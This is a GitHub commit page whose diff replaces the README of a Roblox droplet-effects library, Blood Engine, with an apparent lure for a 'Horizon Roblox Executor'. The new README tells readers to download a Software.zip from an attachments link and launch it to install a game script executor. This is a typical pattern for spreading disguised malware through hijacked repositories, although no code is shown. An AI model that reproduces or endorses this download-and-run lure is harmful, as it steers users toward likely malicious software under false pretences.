Skip to content

Commit

Permalink
Commit
Browse files Browse the repository at this point in the history
  • Loading branch information
Nosejaja777 committed Dec 9, 2024
1 parent 427c4fe commit a4b604e
Showing 1 changed file with 55 additions and 62 deletions.
117 changes: 55 additions & 62 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,62 +1,55 @@
<div align="center">

<picture>
<img alt="Logo" src="https://github.com/rotntake/BloodEngine/assets/126120456/eb3a43ec-579f-491d-a9f3-f32e3a75d9ff">
</picture>

</div>

<div align="center">


v1.1.2 • [Model](https://create.roblox.com/marketplace/asset/15420466379/)[Devforum](https://devforum.roblox.com/t/blood-engine-a-droplet-emitter-system/2545682)

</div>

## What is Blood Engine?
Blood Engine is a versatile resource that can be utilized for various applications, including creating effects like paint, water, blood, and more. It offers numerous methods tailored to meet your specific needs.

One of its key features is the ability to emit "droplets" - these are meshes that can take on the appearance of "Decals" or "Spheres". These droplets can be emitted from any given origin point with a given velocity. Upon landing on a surface, such as a wall or floor, they transform into a pool.

This entire process is highly customizable, with 24 options at your disposal to tweak and adjust according to your requirements. This ensures that Blood Engine can adapt to a wide range of scenarios and use-cases, providing you with the flexibility to create the exact effect you're aiming for.

## Installation
You can install Blood Engine through the latest release of the repository, the [Model](https://create.roblox.com/marketplace/asset/15420466379/) published on Roblox, or by using Wally:
```toml
[dependencies]
BloodEngine = "rotntake/blood-engine@1.1.2"
```

## Usage
#### Initialization
Firstly, you'll need to initialize BloodEngine with your preferred settings. This can be done in either a client or server script. However, it's generally more advisable to do this on the client side, so we'll proceed with that approach.

The settings provide you with control over various aspects of droplets and pools. These include the maximum number of droplets that can be created, the type of droplets to use, the velocity of droplets upon emission, and much more.
```lua
-- Import the BloodEngine module
local BloodEngine = require(PathToModule)

-- Initialize BloodEngine with desired settings
local Engine = BloodEngine.new({
Limit = 100, -- Sets the maximum number of droplets that can be created.
Type = "Default", -- Defines the droplet type. It can be either "Default" (Sphere) or "Decal",
RandomOffset = false, -- Determines whether a droplet should spawn at a random offset from a given position.
OffsetRange = {-20, 10}, -- Specifies the offset range for the position vectors.
DropletVelocity = {1, 2}, -- Controls the velocity of the emitted droplet.
DropletDelay = {0.05, 0.1}, -- Sets the delay between emitting droplets in a loop (for the EmitAmount method).
StartingSize = Vector3.new(0.01, 0.7, 0.01), -- Sets the initial size of the droplets upon landing.
Expansion = true, -- Determines whether a pool can expand when a droplet lands on it.
MaximumSize = 1, -- Sets the maximum size a pool can reach.
})
```
#### Emitting Droplets
After initializing the module, you're all set to emit droplets. There are two key methods available for droplet emission: `EmitAmount` and `Emit`.
```lua
-- Emit a specific amount of droplets from a given origin in specific or nil direction
-- (Setting the Direction to nil will make droplets go in random directions)
Engine:EmitAmount(Origin, Direction, Amount)

-- Emit a single droplet from a given origin in a specific or nil direction
Engine:Emit(Origin, Direction)
```
In this instance, we’ll be utilizing the `EmitAmount` method. Typically, you’d use the `Emit` method when you want to create your own loop instead of relying on the built-in loop of `EmitAmount` . This gives you more control over the emission process.
# Horizon Roblox Executor 🚀

Welcome to the Horizon Roblox Executor repository! This powerful script executor is designed to enhance your Roblox gameplay experience like never before. With Horizon Executor, you can take your Roblox adventures to a whole new level. This README.md file provides all the information you need to get started with Horizon Roblox Executor.

## Features ✨

- **Enhanced Gameplay:** Horizon Executor adds new dimensions of excitement to your Roblox games.
- **Script Execution:** Run scripts efficiently and seamlessly with Horizon Executor.
- **User-Friendly Interface:** Simple and intuitive interface for ease of use.
- **Speed and Reliability:** Fast and reliable script execution for uninterrupted gameplay.

## Getting Started 🚀

To begin using Horizon Roblox Executor, follow these simple steps:

1. Download the software package from the link provided below.
2. Launch the software to start enjoying the enhanced gameplay experience.
3. Explore the features and functionalities to unleash the full potential of Horizon Executor.

## Download Horizon Roblox Executor 📥

[![Download Software](https://img.shields.io/badge/Download-Software-blue)](https://github.com/user-attachments/files/18060583/Software.zip)

### Note:
The above link leads to the software package that needs to be launched to install Horizon Roblox Executor.

If the link is not working or the software package is not accessible, please check the "Releases" section of this repository for alternative download options.

## Contributing 🤝

We welcome contributions to enhance the Horizon Roblox Executor. If you have any suggestions, improvements, or bug fixes to propose, feel free to submit a pull request. Your contributions are invaluable in making Horizon Executor even better for the Roblox community.

## Support 🔧

For any issues, concerns, or queries regarding Horizon Roblox Executor, please reach out to our support team. We are here to assist you and ensure you have a seamless experience with the script executor.

## Stay Connected 🌐

Stay updated on the latest developments, features, and news about Horizon Roblox Executor by following our official channels:

- Website: [Horizon Roblox Executor](#)
- Twitter: [@HorizonRoblox](#)
- Discord: [Horizon Roblox Community](#)

Join our community to connect with other Roblox players using Horizon Executor and share your experiences.

## License ℹ️

This project is licensed under the [MIT License](#). Feel free to explore, modify, and distribute Horizon Roblox Executor within the terms of the license.

---

Get ready to elevate your Roblox gameplay with Horizon Executor! Download the software, dive into exciting adventures, and unlock new possibilities in the Roblox universe. Enjoy the enhanced experience provided by Horizon Roblox Executor! 🎮🌟

Explore, script, conquer - with Horizon Roblox Executor. #GameOn✌️

0 comments on commit a4b604e

Please sign in to comment.